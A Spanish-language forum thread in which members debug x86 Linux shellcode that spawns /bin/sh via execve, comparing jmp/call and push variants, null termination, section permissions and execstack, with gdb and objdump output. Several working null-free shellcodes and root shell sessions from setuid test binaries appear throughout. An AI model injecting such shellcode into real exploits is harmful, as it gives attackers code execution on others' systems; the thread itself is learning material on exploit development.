Segmentation fault en un código ensamblador

Este es tu lugar para hablar de programación, compartir, crear y desarrollar nuevos proyectos

Moderador: Moderadores

Re: Segmentation fault en un código ensamblador

Notapor NewLog » Vie Ago 27, 2010 3:40 pm

Al fin! Ya tengo tiempo que aprovechar con este tema!

Vamos al tema del shellcode que utiliza el jmp/call trick. He probado tu shellcode y, evidentemente, funciona bien ;) Sólo a modo de resumen voy a citar los dos shellcodes probados.

Código: Seleccionar todo
;Shellcode inicial
BITS 32                 ;Indicamos a nasm que genere un codigo para una arquitectura de 32 bits
section .text
global _start

_start:
jmp short texto         ;Aqui­empieza el jmp/call trick. Salta a texto. Ahorramos un byte con el 'short'.
code:
pop ebx                 ;Ponemos en ebx la direccion donde se encuentra '/bin/sh'. Sera el primer argumento de la syscall.
xor eax, eax            ;Ponemos a 0 el registro eax
cdq                     ;Ponemos a 0 el registro edx gracias a que eax es 0. Nos ahorramos un byte.
mov byte [ebx+7], al    ;Ponemos un null-byte al final de la cadena /bin/sh.
mov [ebx+8], ebx        ;A continuacion de la cadena, almacenamos la direccion de la misma cadena
mov byte [ebx+12], al   ;A continuacion de los 4 bytes de la direccion, almacenamos un byte nulo
lea ecx, [ebx+8]        ;En ecx almacenamos la direccion donde se almacena la direccion a /bin/sh
mov al, 11              ;En eax ponemos el valor de la execve syscall. Trabajando con al nos ahorramos un byte.
int 0x80                ;Ejecutamos la syscall.
texto:
call code               ;Llamamos a code. En la pila se almacena la direccion donde se encuentra '/bin/sh'.
db '/bin/sh'


Como has comprobado, este shellcode hace catapum cuando intenta escribir con un MOV en la pila. O sea, la instrucción mov byte [ebx+7], al.

En cuanto al segundo shellcode:
Código: Seleccionar todo
;Shellcode que no explota
BITS 32
; int execve(const char *filename, char *const argv[], char *const envp[]);

section .text
global _start

_start:

xor eax, eax
cdq          ;envp es 0
mov al, 11   ;execve es la syscall 11
push edx     ;terminamos cadena y array argv
jmp short down   ;jmp short = no bytes nulos
back:
pop ebx
;mov ebx, [esp]  ;direccion de la cadena
mov ecx, esp    ;direccion del puntero a la cadena
int 0x80
down:
call back    ;ponemos la cadena /bin/sh en la pila
db "/bin/sh"


En este shellcode, por el contrario, no se mueve ningún dato directamente a una posición de memoria ubicada en la pila. Realmente es mucho más fácil de implementar y de entender tu shellcode. Como yo diría, KISS :embudito:

En cuanto a lo de desactivar la protección de la pila, por el momento he podido ejecutar el shellcode Jmp/Call y el de Push sin problemas. Sin tener que ejecutar execstack. La cosa es extraña, como ya dije el shellcode que hay el push de los argumentos me funcionó desde un principio sin tener que ejecutar execstack. Por otro lado, este segundo shellcode funciona sin problemas sin tener que ejecutar execstack.

Por otro lado, el primer shellcode JmpCall, el que escribe directamente en direcciones de la pila no se podía ejecutar a menos de que estuviera incrustado en un código c. Y sólo después de haber ejecutado execstack sobre el ejecutable generado a partir del código en c. La cosa es curiosa... parece ser que sólo instrucciones del tipo "mov MemoryAddress, data" son las que hacen saltar las protecciones de la pila.

Que te parece esta conclusión? Algún error?

En fin, por mi parte el tema del jmp/call shellcode ya está zangado. Me quedo con tu shellcode que es mejor, más pequeño y, encima, más simple.

Por cierto, otro tema. Cuando ejecuto los shellcodes y posteriormente el comando id obtengo:
Código: Seleccionar todo
[email protected]:~/Documentos/Shellcoding/Codigos/ExecveShellcode/PushingExecve$ ./execve-Pushing
# id
uid=1000(newlog) gid=1000(newlog) euid=0(root) groups=4(adm),20(dialout),24(cdrom),46(plugdev),104(lpadmin),115(admin),120(sambashare),1000(newlog)
# exit


Evidentemente al ejecutable generado le asigno los siguientes permisos:
Código: Seleccionar todo
sudo chown root $executable
sudo chmod +s $executable


A caso estas instrucciones no son necesarias para obtener un uid de root? Es completamente necesario hacer un setuid(0) antes de ejecutar la shell -/bin/sh- ?


En cuanto a los últimos links que has puesto me los leeré todos en muy breve. Cuando acabe de escribir el tema del shellcoding. De momento ya me he leido tres libros sobre overflows. Supongo que lo que me pasas estará bastante más actualizado :D Viniendo de la BH...


Bueno, gracias de nuevo ;)
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en un código ensamblador

Notapor vlan7 » Vie Ago 27, 2010 10:17 pm

Buenas,

A veces es necesario hacer setuid(0), si se hace drop de privilegios. Lo que cuenta es el uid efectivo. Fijate que ahi tienes euid=0(root), es correcto NewLog.

Un saludo.
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
Avatar de Usuario
vlan7
<|:-D
<|:-D
 
Mensajes: 1176
Registrado: Dom Mar 05, 2006 11:16 pm
Ubicación: Mas alla del EIP

Re: Segmentation fault en un código ensamblador

Notapor TuXeD » Dom Ago 29, 2010 12:12 pm

Hola,

He seguido este hilo muy por encima porque no he tenido nada de tiempo... pero al ver la shellcode de vlan7 sin el mov [xxx],0 se me ocurre que es posible que falle en una explotación real. El por qué es precisamente por la falta de ese 0 al final de la cadena. Si lo último que pones en tu buffer es la shellcode y es un strcpy estás de suerte por que añadirá un \0 al final.

Pero si es un memcpy o similares, o hay otras cosas tras tu shellcode (nops, padding, lo que sea) , no habrá un byte nulo al final. Qué significa esto? Que el parámetro para el execve() no será /bin/sh sino /bin/shXXXXXXXXXX.... no se si me explico :oops:

Cuando tenga tiempo releo el hilo, pero de momento me da que tienes la shellcode en un segmento r-x (sin w) y por eso peta. Prueba a hacer un mmap() dandole todos los permisos y copiar tu shellcode al inicio de esa pagina. Luego haz el salto a esa pagina, en lugar de al buffer donde tienes inicialmente la shellcode.

Saludos
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Segmentation fault en un código ensamblador

Notapor NewLog » Dom Ago 29, 2010 9:38 pm

Hombre TuXeD, estabamos esperando que te unieras a la fiesta!

Fíjate en la instrucción push edx. Ahí se pone el byte nulo. Justo después de hacer el push de los 32 bits a cero, se pone en la pila el /bin/sh. De este modo la cadena se termina correctamente, no?

TuXeD escribió:Cuando tenga tiempo releo el hilo, pero de momento me da que tienes la shellcode en un segmento r-x (sin w) y por eso peta. Prueba a hacer un mmap() dandole todos los permisos y copiar tu shellcode al inicio de esa pagina. Luego haz el salto a esa pagina, en lugar de al buffer donde tienes inicialmente la shellcode.


No llego a entender esto del segmento. El shellcode se pone en la pila y bueno, sobre la pila ya hemos hablado en varios posts. Si no te convence lo que hemos comentado, amplia la respuesta ;)

Saludos

EDITO:

No entiendo nada... Alguien me ilustra? Voy a reiniciar porque cuando algo no tiene explicación, lo mejor siempre es reiniciar...
Código: Seleccionar todo
[email protected]:~/Documentos/Shellcoding/Codigos/PortBinding/ASMSource$ cat lol.S
BITS 32

xor ebx, ebx
[email protected]:~/Documentos/Shellcoding/Codigos/PortBinding/ASMSource$ cat genExec.sh
#!/bin/bash
echo "####      Generating executable...       ####"
source=$1;
sourceDOTo=`echo ${source/.S/.o}`
executable=`echo ${source/.S/}`
echo "sourceDOTo = $sourceDOTo"
echo "executable = $executable"
nasm -f elf -g $source
ld -o $executable $sourceDOTo
sudo chown root $executable
sudo chmod +s $executable
[email protected]:~/Documentos/Shellcoding/Codigos/PortBinding/ASMSource$ ./genExec.sh lol.S
####      Generating executable...       ####
sourceDOTo = lol.o
executable = lol
ld: warning: cannot find entry symbol _start; defaulting to 0000000008048060
[email protected]:~/Documentos/Shellcoding/Codigos/PortBinding/ASMSource$ ./lol
Fallo de segmentación
[email protected]:~/Documentos/Shellcoding/Codigos/PortBinding/ASMSource$ ls -la | grep lol
-rwsr-sr-x 1 root   newlog  654 2010-08-30 02:25 lol
-rw-r--r-- 1 newlog newlog  608 2010-08-30 02:25 lol.o
-rw-r--r-- 1 newlog newlog   22 2010-08-30 02:24 lol.S
[email protected]:~/Documentos/Shellcoding/Codigos/PortBinding/ASMSource$ sudo chmod 777 lol
[email protected]:~/Documentos/Shellcoding/Codigos/PortBinding/ASMSource$ ./lol
Fallo de segmentación
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en un código ensamblador

Notapor NewLog » Lun Ago 30, 2010 1:58 pm

Me autocontesto:

Me faltaban las instrucciones:
Código: Seleccionar todo
mov eax, 1
mov ebx, 0
int 80h
Para ejecutar la syscall exit() y salir limpiamente del programa. Ahora la cosa ya no explota.

Imagino que no me he encontrado anteriormente con este problema ya que siempre generaba una nueva shell, y al salir de la shell con ctrl+c el mismo comando ya terminaba el programa correctamente. Veis otra razón?

Por cierto, segmentation fault +asm :embudito: La intesné es nuestra!

Saludos!
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en un código ensamblador

Notapor TuXeD » Lun Ago 30, 2010 6:53 pm

Hola,


DISCLAIMER: Lo que viene en este post no está probado, puesto que no tengo un linux a mano en estos momentos :oops: Es más que posible que falle, aunque hasta donde yo entiendo lo que digo debería ser correcto ;-).

Empecemos por lo último:

ara ejecutar la syscall exit() y salir limpiamente del programa. Ahora la cosa ya no explota.

Imagino que no me he encontrado anteriormente con este problema ya que siempre generaba una nueva shell, y al salir de la shell con ctrl+c el mismo comando ya terminaba el programa correctamente. Veis otra razón?


Totalmente correcto. Sin exit() la ejecución continúa en lo que haya justo detrás de la instrucción xor en memoria... y al final peta.

Ahora, dejadme resumir las cosas que entiendo hasta ahora a ver si estamos en sync o no. En primer lugar, este shellcode te peta:

Código: Seleccionar todo
BITS 32                 ;Indicamos a nasm que genere un codigo para una arquitectura de 32 bits
section .text
global _start

_start:
jmp short texto         ;Aqui­empieza el jmp/call trick. Salta a texto. Ahorramos un byte con el 'short'.
code:
pop ebx                 ;Ponemos en ebx la direccion donde se encuentra '/bin/sh'. Sera el primer argumento de la syscall.
xor eax, eax            ;Ponemos a 0 el registro eax
cdq                     ;Ponemos a 0 el registro edx gracias a que eax es 0. Nos ahorramos un byte.
mov byte [ebx+7], al    ;Ponemos un null-byte al final de la cadena /bin/sh.
mov [ebx+8], ebx        ;A continuacion de la cadena, almacenamos la direccion de la misma cadena
mov byte [ebx+12], al   ;A continuacion de los 4 bytes de la direccion, almacenamos un byte nulo
lea ecx, [ebx+8]        ;En ecx almacenamos la direccion donde se almacena la direccion a /bin/sh
mov al, 11              ;En eax ponemos el valor de la execve syscall. Trabajando con al nos ahorramos un byte.
int 0x80                ;Ejecutamos la syscall.
texto:
call code               ;Llamamos a code. En la pila se almacena la direccion donde se encuentra '/bin/sh'.
db '/bin/sh'


Y esta funciona perfectamente:

Código: Seleccionar todo
    BITS 32
    section .text
    global _start
    _start:
    xor eax, eax
    cdq
    push eax
    push long 0x68732f6e
    push long 0x69622f2f
    mov ebx, esp
    mov al, 0x0b
    int 0x80


Empecemos por esta última. Qué requisitos tiene esta shellcode para funcionar, asumiendo que tenemos el control de eip y apunta al inicio de ésta:

a) La shellcode debe estar en una zona con privilegios r-x . Esto es siempre necesario, si esto no se cumple estamos jodidos.
b) La pila (esp) debe estar en una zona rw- , puesto que estamos metiendo cosas en la pila con push.

Estos dos requisitos en general se cumplen siempre (salvo que hayamos corrompido esp en la explotación). Ahora, volviendo a la primera shellcode, requiere en realidad otra cosa:

a') La shellcode debe estar en una zona rwx. Esto se debe a que estamos modificando datos en la misma shellcode (self-modifying code) para construir los nulos al final de cadena y también el array **argv.

Entonces, si falla esa shellcode con un segfault es por que ese requisitio a') no se cumple. Cómo que no se cumple? Pues o bien el código de pruebas está en la zona de código (esto pasa al hacer nasm+ld ) o en otra zona no ejeutable (la pila, heap o bss, depende de cómo pruebes la shellcode).

Otra opción es que resulta que estás sobreescribiendo cosas más allá de tu shellcode. Fijate en que tu shellcode incluye hasta /bin/sh. Y tu estás escribiendo un 0 justo detrás de ese sh, luego la dirección de la cadena, y luego otro byte nulo. Quizás la zona rwx donde tengas la shellcode metida acabe justo en sh y detrás no se pueda escribir...

Prueba a poner en la cadena /bin/sh además una X para el \0, XXXX para tu dirección de la cadena y XXXX para tu último NULL. De hecho, tu shellcode tiene algo mal y es esa instrucción del mov ptr byte:

Código: Seleccionar todo
mov byte [ebx+12], al   ;A continuacion de los 4 bytes de la direccion, almacenamos un byte nulo


Ahí debe haber CUATRO bytes nulos (lo que viene a ser un NULL en C) , no uno (NUL). Así es como se define un *argv[] = {"/bin/sh", NULL} ... Otra opción es que uses la pila para meter argv[], entonces tu shellcode queda tal que así:

Código: Seleccionar todo
BITS 32                 ;Indicamos a nasm que genere un codigo para una arquitectura de 32 bits
section .text
global _start

_start:
jmp short texto         ;Aqui­empieza el jmp/call trick. Salta a texto. Ahorramos un byte con el 'short'.
code:
pop ebx                 ;Ponemos en ebx la direccion donde se encuentra '/bin/sh'. Sera el primer argumento de la syscall.
xor eax, eax            ;Ponemos a 0 el registro eax
cdq                     ;Ponemos a 0 el registro edx gracias a que eax es 0. Nos ahorramos un byte.
mov byte [ebx+7], al    ;Ponemos un null-byte al final de la cadena /bin/sh.
push eax   ; Ponemos NULL en la pila
push ebx   ;Ponemos la dirección de /bin/sh 'sobre' el NULL
mov ecx, esp        ;En ecx almacenamos la direccion donde se almacena la direccion a {"/bin/sh",NULL}
mov al, 11              ;En eax ponemos el valor de la execve syscall. Trabajando con al nos ahorramos un byte.
int 0x80                ;Ejecutamos la syscall. execve("/bin/sh",{"/bin/sh",NULL},NULL);
texto:
call code               ;Llamamos a code. En la pila se almacena la direccion donde se encuentra '/bin/sh'.
db '/bin/shX'


Ahora, de vuelta a la shellcode de vlan7. La shellcode propuesta era así:

Código: Seleccionar todo
BITS 32

;int execve(const char *filename, char *const argv[], char *const envp[]);

xor eax, eax
cdq         ;edx=envp
push edx    ;terminamos cadena de filename y el array argv
push sh     ;push de cadena /bin/sh en la pila
mov ebx, [esp]  ;ebx=direccion de la cadena
mov ecx, esp    ;ecx=direccion del puntero a la cadena
mov al, 11      ;execve es la syscall 11
int 0x80
sh   db      "/bin/sh"


El problema que comentaba antes es que la cadena no está terminada. Antes no la había mirado muy a fondo, pero cuando haces un push sh realmente lo que haces no es un push de la cadena entera, sino un push de la dirección donde empieza esa cadena (algo asi como push eip+delta).

No sé como lo traducirá nasm, pero de lo que estoy casi seguro es de que simplemente pone la dirección en la pila. Si no fuese así el argv[] estaría mal formado, no?

Lo que yo comentaba antes, es que detrás de ese /bin/sh en principio no tiene por qué haber un byte nulo, así que no tiene por qué acabarse la cadena ahí... imaginad que el buffer es algo como NOPs + shellcode + ret*1000 o algo así. Para confirmar, quizás podrías poner el desensamblado de la esta shellcode vlan7 :)

Espero haber aclarado algo y no haber liado más las cosas :roll:

Saludetes!
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Segmentation fault en un código ensamblador

Notapor NewLog » Mar Ago 31, 2010 2:11 pm

Buenas TuXeD!

Primero de todo, sobre las modificaciones a los shellcodes:

Entiendo lo que comentas sobre 'reservar' más espacio poniendo las 'X' después de la cadena.
Así que la primera modificación que he hecho ha sido la siguiente:
Código: Seleccionar todo
BITS 32                 ;Indicamos a nasm que genere un codigo para una arquitectura de 32 bits
section .text
global _start

_start:
jmp short texto         ;Aqui­empieza el jmp/call trick. Salta a texto. Ahorramos un byte con el 'short'.
code:
pop ebx                 ;Ponemos en ebx la direccion donde se encuentra '/bin/sh'. Sera el primer argumento de la syscall.
xor eax, eax            ;Ponemos a 0 el registro eax
cdq                     ;Ponemos a 0 el registro edx gracias a que eax es 0. Nos ahorramos un byte.
mov byte [ebx+7], al    ;Ponemos un null-byte al final de la cadena /bin/sh.
mov [ebx+8], ebx        ;A continuacion de la cadena, almacenamos la direccion de la misma cadena
mov [ebx+12], eax       ;A continuacion de los 4 bytes de la direccion, almacenamos un byte nulo
lea ecx, [ebx+8]        ;En ecx almacenamos la direccion donde se almacena la direccion a /bin/sh
mov al, 11              ;En eax ponemos el valor de la execve syscall. Trabajando con al nos ahorramos un byte.
int 0x80                ;Ejecutamos la syscall.
texto:
call code               ;Llamamos a code. En la pila se almacena la direccion donde se encuentra '/bin/sh'.
db '/bin/shXXXXXXXXX'

Como ves, he añadido las 'X' necesarias después de la cadena y como último parámetro de la llamada al sistema ya no añado un byte nulo, sino cuatro bytes nulos, o sea, un puntero nulo. Tristemente esto también falla con un bonito seg fault.

También entiendo lo has querido hacer con el shellcode que has escrito tu. Con el push del 'puntero' nulo y de la dirección de la cadena. Por desgracia ese también falla.

Sobre lo que comentas del shellcode de vlan, tienes razón. Sólo se hace un push de la dirección de la cadena. A continuación muestro como lo he comprobado con gdb:
Código: Seleccionar todo
(gdb) n
7   push edx    ;terminamos cadena de filename y el array argv
(gdb) n
8   push sh     ;push de cadena /bin/sh en la pila
(gdb) n
9   mov ebx, [esp]  ;ebx=direccion de la cadena
(gdb) print $esp
$2 = (void *) 0xbf914598
(gdb) x/4x 0xbf914598
0xbf914598:   0x08048072   0x00000000   0x00000001   0xbf916565
(gdb) x/s 0x8048072
0x8048072 <sh>:    "/bin/sh"


En el momento en el que muestro esp es cuando se acaba de ejecutar la instrucción push sh. Así que miro donde apunta esp y éste apunta a 0xbf914598. Compruebo qué hay en esa dirección y veo que hay otra dirección, la 0x8048072. Miro que hay en esa dirección y voilà, ahí está la cadena /bin/sh.
""""Así que como da a entender TuXeD, en ebx no hay la dirección de la cadena /bin/sh, sino la dirección del puntero de la cadena /bin/sh (o sea, la dirección de la dirección...).""""

Sin embargo, veo lo siguiente:
Código: Seleccionar todo
Breakpoint 2, ?? () at JmpCallExecveMala.S:7
7   push edx    ;terminamos cadena de filename y el array argv
(gdb) n
8   push sh     ;push de cadena /bin/sh en la pila
(gdb) print $esp
$1 = (void *) 0xbf96f35c
(gdb) n
9   mov ebx, [esp]  ;ebx=direccion de la cadena
(gdb) print $esp
$2 = (void *) 0xbf96f358
(gdb) x/x 0xbf96f358
0xbf96f358:   0x08048072
(gdb) x/s 0x8048072
0x8048072 <sh>:    "/bin/sh"
(gdb) print $ebx
$3 = 0
(gdb) n
10   mov ecx, esp    ;ecx=direccion del puntero a la cadena
(gdb) print $ebx
$4 = 134512754


Como se puede ver, ebx almacena exactamente la dirección (134512754d = 8048072h) donde está ubicada la cadena. Así que el shellcode funciona perfectamente (y doy fe ;)). Aun así no lo entiendo, muestro como el contenido de esp es 0xbf96f358 y muestro que en esa posición de memoria se almacena la dirección 0x08048072, como puede ser, entonces, que la instrucción mov ebx, [esp] ponga en ebx el valor 0x08048072 (dirección de la cadena) en vez de poner la dirección de esp, que creo que es lo que significa [esp]? Quizá es que la instrucción mov ebx, [esp] significa que en ebx se ponga el contenido de la dirección en memoria a la que apunta esp? Yo creía que significaba que en ebx se metía la dirección donde está ubicado esp. Que alguien me lo aclare!!

En fin, sobre los shellcodes de momento no hemos podido aclarar nada, ya que los cambios de TuXeD no los han hecho funcionar y lo que antes funcionaba sigue funcionando, aunque no acabe de ver el porqué, tal y como he dicho.


Ahora a por las regiones de memoria:

Yo ejecuto los códigos a partir de nasm+ld lo que significa que, como dices, no tengo permisos rwx, sino, imagino, r-x, al estar en la sección de código.
Ahora, he ejecutado el shellcode de las 9 'X' a partir de un programa en C (la cadena está en la pila) y no ha funcionado.

He pensado que sería porqué la pila no es ejecutable, he ejecutado execstack -s <exec> y me ha funcionado! Así que el problema es que la pila no era ejecutable y que nasm+ld me ponía el código en la sección de código la cual no es writeable.
La mala notícia es que los códigos jmp/call anteriores TAMBIÉN funcionan si se ejecuta execstack! Así que los shellcodes que has aportado, TuXeD tienen su lógica y seguro que son más correctos, pero funcionan como los otros.


Lo bueno de esta conversación ha sido saber lo de que NASM + LD te ponen el código en la sección de código y que esta sección no tiene permisos de escritura. Por eso funciona con un código en c (más execstack). Cosa que antes no sabíamos el porqué. Aunque no acabo de estar seguro, ya que la instrucción db pone los bytes en la sección data y ahí es donde se pone la cadena /bin/sh y, en teoría, en la sección data se puede escribir! En fin, no lo acabo de entender mucho...


Ya me imagino que quizá os habré liado aun más... En fin, a ver qué pensais... Yo aunque no lo parezca lo tengo un poco más claro, aunque lo último que he dicho me ha dejado un poco o_O!

Saludos gente!
Imagen
http://www.overflowedminds.net - Quieres introducirte al exploiting?
Avatar de Usuario
NewLog
<|:-D
<|:-D
 
Mensajes: 1130
Registrado: Sab Ene 14, 2006 1:03 am

Re: Segmentation fault en un código ensamblador

Notapor TuXeD » Mar Ago 31, 2010 3:03 pm

Entonces claramente el problema era usar nasm que lo mete en la seccion .text donde corresponde al codigo. Por otra parte, db no mete nada en data, lo mete en el mismo sitio donde esta ensamblando, es decir en .text .

Quizá es que la instrucción mov ebx, [esp] significa que en ebx se ponga el contenido de la dirección en memoria a la que apunta esp? Yo creía que significaba que en ebx se metía la dirección donde está ubicado esp. Que alguien me lo aclare!!


Significa eso que dices, es decir 'sigues esp' y miras a que apunta eso. Esp apunta a la pila, y la pila apunta a la cadena, asi que tienes la direccion de la cadena (que no la cadena en si).

La mala notícia es que los códigos jmp/call anteriores TAMBIÉN funcionan si se ejecuta execstack! Así que los shellcodes que has aportado, TuXeD tienen su lógica y seguro que son más correctos, pero funcionan como los otros.


Efectivamente funciona en el entorno de pruebas. Eso es porque detras justo de sh hay un byte nulo... ahora prueba a meter 909090 simulando una NOP Sled detras en tu array de la shellcode en C y ejecuta.

Mira a ver que pasa... pero asumo que sera un segfault en las que no meten el nulo explicitamente. Y sera un segfault porque primero ejecuta execve("/bin/sh\x90\x90\x90..." ,...) , esto falla y devuelve -1, y luego intenta seguir interpretando codigo que es invalido hasta que peta. Si haces un strace veras el execve que menciono. O al menos asi es como yo lo entiendo (de nuevo sin probar nada, sorry).

Saludos
TuXeD
Wadalbertita
Wadalbertita
 
Mensajes: 1053
Registrado: Sab Ene 29, 2005 12:46 pm

Re: Segmentation fault en un código ensamblador

Notapor vlan7 » Mié Sep 01, 2010 4:02 pm

TuXeD escribió:Ahora, de vuelta a la shellcode de vlan7. La shellcode propuesta era así:

BITS 32

;int execve(const char *filename, char *const argv[], char *const envp[]);

xor eax, eax
cdq ;edx=envp
push edx ;terminamos cadena de filename y el array argv
push sh ;push de cadena /bin/sh en la pila
mov ebx, [esp] ;ebx=direccion de la cadena
mov ecx, esp ;ecx=direccion del puntero a la cadena
mov al, 11 ;execve es la syscall 11
int 0x80
sh db "/bin/sh"


TuXeD, aclararte que esa shellcode no es la propuesta por mi. Esa shellcode la hice de madrugada en pruebas. De hecho, si no recuerdo mal, incluso tiene bytes nulos, por lo que es inutil en una explotacion real, pero ya te digo, la hice simplemente para que pudieramos comprobar que es posible ejecutar una shellcode solo con nasm+ld

TuXeD escribió:cuando haces un push sh realmente lo que haces no es un push de la cadena entera, sino un push de la dirección donde empieza esa cadena (algo asi como push eip+delta). No sé como lo traducirá nasm, pero de lo que estoy casi seguro es de que simplemente pone la dirección en la pila. Si no fuese así el argv[] estaría mal formado, no?


Sobre esta cuestion que planteas, dejame hablar de un concepto en ASM/shellcoding llamado "position independent". Con un push sh , nasm coloca en la pila la direccion de la cadena, mas o menos como dices, pero con una peculiaridad importante. Houston, tenemos un problema... resulta que cualquier ensamblador, nasm tambien, coloca en la pila la direccion calculada por el ensamblador de manera estatica, en lugar de la direccion de memoria de la cadena, que es lo que queremos. Pero mi shellcode propuesta no es esa, la shellcode que yo propuse es la del siguiente post. Una JMP/CALL asi:

Código: Seleccionar todo
BITS 32
; int execve(const char *filename, char *const argv[], char *const envp[]);

xor eax, eax
cdq          ;envp es 0
mov al, 11   ;execve es la syscall 11
push edx     ;terminamos cadena y array argv
jmp short down   ;jmp short = no bytes nulos
back:
mov ebx, [esp]  ;direccion de la cadena
mov ecx, esp    ;direccion del puntero a la cadena
int 0x80
down:
call back    ;ponemos la cadena /bin/sh en la pila
db  "/bin/sh"


Como ves no hago push de la cadena, porque el problema de hacer un push de la cadena es que no se puede explotar en el mundo real, porque cuando inyectamos una shellcode push sh dentro de otro programa en ejecucion no podemos contar con que se haya colocado en la misma posición que asumio nasm al ensamblar. Es decir, una shellcode push sh no es "position independent", y lo solucionamos con una shellcode JMP/CALL, que es capaz de obtener la dirección de la cadena "/bin/sh" independientemente de donde estemos cargados en memoria.

¿Por que independientemente de donde estemos cargados en memoria? Veamoslo con una cuestion que plantea NewLog.

NewLog escribió:muestro como el contenido de esp es 0xbf96f358 y muestro que en esa posición de memoria se almacena la dirección 0x08048072, como puede ser, entonces, que la instrucción mov ebx, [esp] ponga en ebx el valor 0x08048072 (dirección de la cadena) en vez de poner la dirección de esp, que creo que es lo que significa [esp]?


Efectivamente, mov ebx, [esp] pone en ebx la direccion de esp como dices. Pero ¿cual es la direccion de esp en ese momento? 8)

¿Que hay antes de ese mov ebx, [esp] ?

Un call.

call tiene una "feature", y es que guarda en la pila la direccion de la siguiente instruccion, de tal forma que cuando la subrutina a la que llama finalice con un RET se pueda retornar correctamente a la siguiente instruccion, valga la redundancia. En nuestras shellcodes hemos colocado la cadena justo despues de la llamada a call, es por eso que su direccion se coloca en la pila :)

~

Por otra parte comentar que db tiene que ser section data para funcionar, no text que es read only, por eso falla la primera shellcode con la que NewLog abrio este venerable hilo :embudito: Basta definir todo como .data , donde si tenemos permisos de escritura. Mirad:

Código: Seleccionar todo
[email protected]:~# cat shell.asm
BITS 32

section .data
global _start

_start:
   jmp short down
jmp_back:
   pop ebx            ; ebx = direccion de la cadena
   xor eax, eax
   mov byte [ebx+7], al   ; Ponemos un null en N , es decir, shell[7]
   mov [ebx+8], ebx  ; ponemos la direccion de la cadena (en ebx) en shell[8]
   mov [ebx+12], eax ; null en shell[12]
; la cadena en este momento es asi: "/bin/sh\0(*ebx)(*0000)" que es lo que queremos

   xor eax, eax
   mov byte al, 11       ; execve es syscall 11
   lea ecx, [ebx+8]  ; ecx = direccion de XXXX = (*ebx)
   lea edx, [ebx+12] ; edx = direccion de YYYY = (*0000)
   int 0x80           ; llamamos al kernel
down:
   call jmp_back
shell:
   db "/bin/shNXXXXYYYY"

[email protected]:~# nasm -g -f elf32 shell.asm -o shell.o
[email protected]:~# ld shell.o -o shell
[email protected]:~# ./shell
sh-3.2# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),110(lpadmin),111(sambashare),112(admin)


Ahi tenemos la shell :)

Vamos ahora a mostrar las secciones del programa, para comprobar como db esta en la seccion .data
Código: Seleccionar todo
[email protected]:~# objdump -x shell

shell:     file format elf32-i386
shell
architecture: i386, flags 0x00000112:
EXEC_P, HAS_SYMS, D_PAGED
start address 0x08049054

Program Header:
    LOAD off    0x00000000 vaddr 0x08049000 paddr 0x08049000 align 2**12
         filesz 0x00000083 memsz 0x00000083 flags rw-

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .data         0000002f  08049054  08049054  00000054  2**2
                  CONTENTS, ALLOC, LOAD, DATA
  1 .stabstr      00000001  00000000  00000000  00000084  2**2
                  CONTENTS, READONLY, DEBUGGING
  2 .comment      0000001f  00000000  00000000  00000085  2**0
                  CONTENTS, READONLY
SYMBOL TABLE:
08049054 l    d  .data  00000000 .data
00000000 l    d  .stabstr       00000000 .stabstr
00000000 l    d  .comment       00000000 .comment
00000000 l    df *ABS*  00000000 shell.asm
08049056 l       .data  00000000 jmp_back
0804906e l       .data  00000000 down
08049073 l     O .data  00000001 shell
08049054 g       .data  00000000 _start
08049083 g       *ABS*  00000000 __bss_start
08049083 g       *ABS*  00000000 _edata
08049084 g       *ABS*  00000000 _end


[email protected]:~#


Vale, la cadena de la shell esta en la seccion .data como muestro a continuacion:

Código: Seleccionar todo
08049073 l     O .data  00000001 shell


Veamos los permisos de la seccion .data :

Código: Seleccionar todo
Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .data         0000002f  08049054  08049054  00000054  2**2
                  CONTENTS, ALLOC, LOAD, DATA


La seccion .data no esta marcada READONLY. ¡¡¡Luego podemos escribir!!!

Por ultimo, desensamblamos para comprobar que la shellcode no tiene ningun byte nulo:

Código: Seleccionar todo
[email protected]:~# rm shell shell.o
[email protected]:~# nasm -f elf32 shell.asm -o shell.o
[email protected]:~# ld shell.o -o shell
[email protected]:~# objdump -D shell

shell:     file format elf32-i386


Disassembly of section .data:

08049054 <_start>:
 8049054:       eb 18                   jmp    804906e <down>

08049056 <jmp_back>:
 8049056:       5b                      pop    %ebx
 8049057:       31 c0                   xor    %eax,%eax
 8049059:       88 43 07                mov    %al,0x7(%ebx)
 804905c:       89 5b 08                mov    %ebx,0x8(%ebx)
 804905f:       89 43 0c                mov    %eax,0xc(%ebx)
 8049062:       31 c0                   xor    %eax,%eax
 8049064:       b0 0b                   mov    $0xb,%al
 8049066:       8d 4b 08                lea    0x8(%ebx),%ecx
 8049069:       8d 53 0c                lea    0xc(%ebx),%edx
 804906c:       cd 80                   int    $0x80

0804906e <down>:
 804906e:       e8 e3 ff ff ff          call   8049056 <jmp_back>

08049073 <shell>:
 8049073:       2f                      das
 8049074:       62 69 6e                bound  %ebp,0x6e(%ecx)
 8049077:       2f                      das
 8049078:       73 68                   jae    80490e2 <_end+0x5e>
 804907a:       4e                      dec    %esi
 804907b:       58                      pop    %eax
 804907c:       58                      pop    %eax
 804907d:       58                      pop    %eax
 804907e:       58                      pop    %eax
 804907f:       59                      pop    %ecx
 8049080:       59                      pop    %ecx
 8049081:       59                      pop    %ecx
 8049082:       59                      pop    %ecx
[email protected]:~#


Todo OK incluso con la pega de las XXX de la cadena /bin/sh no?

Suerte,
There is a crack, a crack in everything That's how the light gets in. -subculture

zen7.vlan7.org
